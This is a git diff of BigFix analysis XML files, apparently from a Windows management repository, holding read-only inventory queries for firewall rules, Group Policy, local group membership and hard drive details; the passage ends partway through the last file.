-    <Property ID="8" Name="Firewall - Active Inbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and inbound of it) of firewall</Property>
-    <Property ID="9" Name="Firewall - Active Outbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and outbound of it) of firewall</Property>
-    <Property ID="10" Name="Firewall - Globally Open Ports - Windows" EvaluationPeriod="PT12H">(name of it, port of it, remote addresses of it) of globally open ports whose (enabled of it) of current profile of local policy of firewall</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Firewall - Configuration - Windows
+  ID       : 2998518
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-16T17:17:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Firewall - Configuration - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current configuration of the Windows Firewall. </P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Firewall - State - Windows" EvaluationPeriod="P1D">(&quot;Domain&quot;, firewall enabled of domain profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Public&quot;, firewall enabled of public profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Private&quot;, firewall enabled of private profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;))</Property>
+    <Property ID="2" Name="Firewall - Current Profiles - Windows" EvaluationPeriod="P1D">profile types of firewall</Property>
+    <Property ID="3" Name="Firewall - Inbound ICMP Echo - Windows" EvaluationPeriod="P1D">allow inbound echo request of icmp settings of current profile of local policy of firewall </Property>
+    <Property ID="4" Name="Firewall - Local Modification Allowed - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = ok firewall local policy modify state</Property>
+    <Property ID="5" Name="Firewall - Group Policy Overrides Local Policy - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = gp override firewall local policy modify state</Property>
+    <Property ID="6" Name="Firewall - All Unsolicited Inbound Traffic Blocked - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = inbound blocked firewall local policy modify state</Property>
+    <Property ID="7" Name="Firewall - Authorized Applications - Windows" EvaluationPeriod="PT12H">(name of it, remote addresses of it, ip version of it, process image file name of it) of authorized applications whose (enabled of it = true) of current profile of local policy of firewall</Property>
+    <Property ID="8" Name="Firewall - Active Inbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and inbound of it) of firewall</Property>
+    <Property ID="9" Name="Firewall - Active Outbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and outbound of it) of firewall</Property>
+    <Property ID="10" Name="Firewall - Globally Open Ports - Windows" EvaluationPeriod="PT12H">(name of it, port of it, remote addresses of it) of globally open ports whose (enabled of it) of current profile of local policy of firewall</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes b/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes
index 790f3a776..435aecdcf 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Group Policy - Windows
-  ID       : 2998487
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-14T15:35:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Group Policy - Windows</Title>
-    <Description><![CDATA[<P>Provides the following pieces of&nbsp;information regarding Group Policy:</P>
-<OL>
-<LI>Average network wait on startup
-<LI>Applied Group Policies
-<LI>Enforced Group Policies
-<LI>The Active Directory site the computer currently falls into
-<LI>Assigned Software Installations in Group Policy
-<LI>The currently connected domain controller
-<LI>If the computer is on a slow link
-<LI>Currently running startup and shutdown scripts
-<LI>Group Policy Preferences with tracing or debug logging enabled</LI></OL>
-<P>The applied group policies and enforced group policies properties show the name of the group policy object, at what level the policy is linked (Site, Domain, OU) and at what OU in active directory the policy is linked at.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Group Policy - Average Network Wait - Windows" EvaluationPeriod="P1D">values &quot;AvgWaitTimeoutAtStartup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
-    <Property ID="2" Name="Group Policy - Applied Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
-    <Property ID="3" Name="Group Policy - Enforced Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys whose (bit 1 of (value &quot;Options&quot; of it as integer as bit set) = true) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
-    <Property ID="4" Name="Group Policy - Site - Windows" EvaluationPeriod="P1D">value &quot;Site-Name&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\State\Machine&quot; of native registry</Property>
-    <Property ID="5" Name="Group Policy - Assigned Software Installation - Windows" EvaluationPeriod="P1D">(value &quot;GPO Name&quot; of it, value &quot;Deployment Name&quot; of it, value &quot;GPO ID&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\microsofat\windows\currentversion\group policy\Appmgmt&quot; of native registry</Property>
-    <Property ID="6" Name="Group Policy - Connected Domain Controller - Windows" EvaluationPeriod="P1D">value &quot;DCName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as string </Property>
-    <Property ID="7" Name="Group Policy - On Slow Link - Windows" EvaluationPeriod="P1D">if (value &quot;IsSlowLink&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as integer | 0 = 0) then false else true</Property>
-    <Property ID="8" Name="Group Policy - Startup Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup&quot; of native registry</Property>
-    <Property ID="9" Name="Group Policy - Shutdown Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown&quot; of native registry </Property>
-    <Property ID="10" Name="Group Policy - Extensions with Debug Logging - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
-    <Property ID="11" Name="Group Policy - Extensions with Tracing Enabled - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
-    <Property ID="12" Name="Group Policy - Local Policy Settings - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;registryKey&quot; of it | &quot;&quot;, string value of property &quot;valueName&quot; of it, (if (length of (property &quot;value&quot; of it as string) &lt;= 16) then /* For short values convert the byte array*/((/*Convert to integer*/ hexadecimal integer /* Reverse the bytes */(concatenations of substrings separated by &quot;,&quot; of concatenation of characters ( lengths of following texts of positions of it ) of concatenation &quot;,&quot; of (concatenation of characters ( lengths of following texts of positions of it ) of it ) of /*Get bytes */(integer values of property &quot;value&quot; of it as hexadecimal))) as string | &quot;&quot;) else /* Long values let BigFix do it*/ (following text of first &quot;value=&quot; of (preceding text of last &quot;%00&quot; of it | it) of (preceding text of last &quot;%0d%0a&quot; of it | it) of (property &quot;value&quot; of it as string)))) of SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Group Policy - Windows
+  ID       : 2998487
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-14T15:35:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Group Policy - Windows</Title>
+    <Description><![CDATA[<P>Provides the following pieces of&nbsp;information regarding Group Policy:</P>
+<OL>
+<LI>Average network wait on startup
+<LI>Applied Group Policies
+<LI>Enforced Group Policies
+<LI>The Active Directory site the computer currently falls into
+<LI>Assigned Software Installations in Group Policy
+<LI>The currently connected domain controller
+<LI>If the computer is on a slow link
+<LI>Currently running startup and shutdown scripts
+<LI>Group Policy Preferences with tracing or debug logging enabled</LI></OL>
+<P>The applied group policies and enforced group policies properties show the name of the group policy object, at what level the policy is linked (Site, Domain, OU) and at what OU in active directory the policy is linked at.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Group Policy - Average Network Wait - Windows" EvaluationPeriod="P1D">values &quot;AvgWaitTimeoutAtStartup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="2" Name="Group Policy - Applied Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="3" Name="Group Policy - Enforced Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys whose (bit 1 of (value &quot;Options&quot; of it as integer as bit set) = true) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="4" Name="Group Policy - Site - Windows" EvaluationPeriod="P1D">value &quot;Site-Name&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\State\Machine&quot; of native registry</Property>
+    <Property ID="5" Name="Group Policy - Assigned Software Installation - Windows" EvaluationPeriod="P1D">(value &quot;GPO Name&quot; of it, value &quot;Deployment Name&quot; of it, value &quot;GPO ID&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\microsofat\windows\currentversion\group policy\Appmgmt&quot; of native registry</Property>
+    <Property ID="6" Name="Group Policy - Connected Domain Controller - Windows" EvaluationPeriod="P1D">value &quot;DCName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as string </Property>
+    <Property ID="7" Name="Group Policy - On Slow Link - Windows" EvaluationPeriod="P1D">if (value &quot;IsSlowLink&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as integer | 0 = 0) then false else true</Property>
+    <Property ID="8" Name="Group Policy - Startup Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup&quot; of native registry</Property>
+    <Property ID="9" Name="Group Policy - Shutdown Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown&quot; of native registry </Property>
+    <Property ID="10" Name="Group Policy - Extensions with Debug Logging - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
+    <Property ID="11" Name="Group Policy - Extensions with Tracing Enabled - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
+    <Property ID="12" Name="Group Policy - Local Policy Settings - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;registryKey&quot; of it | &quot;&quot;, string value of property &quot;valueName&quot; of it, (if (length of (property &quot;value&quot; of it as string) &lt;= 16) then /* For short values convert the byte array*/((/*Convert to integer*/ hexadecimal integer /* Reverse the bytes */(concatenations of substrings separated by &quot;,&quot; of concatenation of characters ( lengths of following texts of positions of it ) of concatenation &quot;,&quot; of (concatenation of characters ( lengths of following texts of positions of it ) of it ) of /*Get bytes */(integer values of property &quot;value&quot; of it as hexadecimal))) as string | &quot;&quot;) else /* Long values let BigFix do it*/ (following text of first &quot;value=&quot; of (preceding text of last &quot;%00&quot; of it | it) of (preceding text of last &quot;%0d%0a&quot; of it | it) of (property &quot;value&quot; of it as string)))) of SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes b/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes
index ffae6f1c0..cb0149c73 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Groups - Windows
-  ID       : 2998456
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-21T12:52:56
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Groups - Windows</Title>
-    <Description><![CDATA[Provides information on the&nbsp;groups defined on the System
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Groups - Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Users&quot; as string</Property>
-    <Property ID="2" Name="Groups - Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Administrators&quot; as string</Property>
-    <Property ID="3" Name="Groups - Remote Desktop Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Remote Desktop Users&quot; as string</Property>
-    <Property ID="4" Name="Groups - Access Control Assistance Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Access Control Assistance Operators&quot; | error &quot;none&quot;))</Property>
-    <Property ID="5" Name="Groups - Backup Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Backup Operators&quot; as string</Property>
-    <Property ID="6" Name="Groups - Cryptographic Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Cryptographic Operators&quot; as string</Property>
-    <Property ID="7" Name="Groups - Event Log Readers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Event Log Readers&quot; as string</Property>
-    <Property ID="8" Name="Groups - Guests - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Guests&quot; as string</Property>
-    <Property ID="9" Name="Groups - Hyper-V Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Hyper-V Administrators&quot; as string</Property>
-    <Property ID="10" Name="Groups - Network Configuration Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Network Configuration Operators&quot; as string</Property>
-    <Property ID="11" Name="Groups - Performance Log Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Log Users&quot; as string</Property>
-    <Property ID="12" Name="Groups - Performance Monitor Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Monitor Users&quot; as string</Property>
-    <Property ID="13" Name="Groups - Power Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Power Users&quot; as string</Property>
-    <Property ID="14" Name="Groups - Remote Managment Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Remote Managment Users&quot; | error &quot;none&quot;))</Property>
-    <Property ID="15" Name="Groups - Replicator - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Replicator&quot; | error &quot;none&quot;))</Property>
-    <Property ID="16" Name="Groups - Systems Managed Accounts Group - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Systems Managed Accounts Group&quot; | error &quot;none&quot;))</Property>
-    <Property ID="17" Name="Groups - Offer Remote Assistance Helpers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Offer Remote Assistance Helpers&quot; | error &quot;none&quot;))</Property>
-    <Property ID="18" Name="Groups - Windows" EvaluationPeriod="P1D">unique values of names of local groups</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Groups - Windows
+  ID       : 2998456
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-21T12:52:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Groups - Windows</Title>
+    <Description><![CDATA[Provides information on the&nbsp;groups defined on the System
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Groups - Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Users&quot; as string</Property>
+    <Property ID="2" Name="Groups - Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Administrators&quot; as string</Property>
+    <Property ID="3" Name="Groups - Remote Desktop Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Remote Desktop Users&quot; as string</Property>
+    <Property ID="4" Name="Groups - Access Control Assistance Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Access Control Assistance Operators&quot; | error &quot;none&quot;))</Property>
+    <Property ID="5" Name="Groups - Backup Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Backup Operators&quot; as string</Property>
+    <Property ID="6" Name="Groups - Cryptographic Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Cryptographic Operators&quot; as string</Property>
+    <Property ID="7" Name="Groups - Event Log Readers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Event Log Readers&quot; as string</Property>
+    <Property ID="8" Name="Groups - Guests - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Guests&quot; as string</Property>
+    <Property ID="9" Name="Groups - Hyper-V Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Hyper-V Administrators&quot; as string</Property>
+    <Property ID="10" Name="Groups - Network Configuration Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Network Configuration Operators&quot; as string</Property>
+    <Property ID="11" Name="Groups - Performance Log Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Log Users&quot; as string</Property>
+    <Property ID="12" Name="Groups - Performance Monitor Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Monitor Users&quot; as string</Property>
+    <Property ID="13" Name="Groups - Power Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Power Users&quot; as string</Property>
+    <Property ID="14" Name="Groups - Remote Managment Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Remote Managment Users&quot; | error &quot;none&quot;))</Property>
+    <Property ID="15" Name="Groups - Replicator - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Replicator&quot; | error &quot;none&quot;))</Property>
+    <Property ID="16" Name="Groups - Systems Managed Accounts Group - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Systems Managed Accounts Group&quot; | error &quot;none&quot;))</Property>
+    <Property ID="17" Name="Groups - Offer Remote Assistance Helpers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Offer Remote Assistance Helpers&quot; | error &quot;none&quot;))</Property>
+    <Property ID="18" Name="Groups - Windows" EvaluationPeriod="P1D">unique values of names of local groups</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes b/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes
index de0ffb43d..30bd3ed6b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Hard Drive Audit - Windows
-  ID       : 2994706
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-08-15T12:30:58
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Hard Drive Audit - Windows</Title>
-    <Description><![CDATA[<P>This analysis will report on various windows specific aspects of the hard drives in a system.&nbsp;Found here:&nbsp;<A href="http://bigfix.me/cdb/analysis/2994527"><FONT color=#000080>http://bigfix.me/cdb/analysis/2994527</FONT></A></P>
-<P>This is meant to supliment the analysis "Hard Drive Audit - Universal" :&nbsp; <A href="http://bigfix.me/cdb/analysis/2994530">http://bigfix.me/cdb/analysis/2994530</A></P>]]></Description>
-    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
-    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance>/* Many, but not all of these properties use WMI */ exists wmi</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 15 Aug 2014 19:30:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="4" Name="Serial Numbers" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;, &quot; of (((substrings after &quot;=&quot; whose(it as trimmed string != &quot;&quot;) of (property &quot;SerialNumber&quot; of it as string)) of select objects &quot;* from win32_PhysicalMedia where SerialNumber != &apos;&apos;&quot; of wmi) as trimmed string)) else &quot;n/a&quot;</Property>
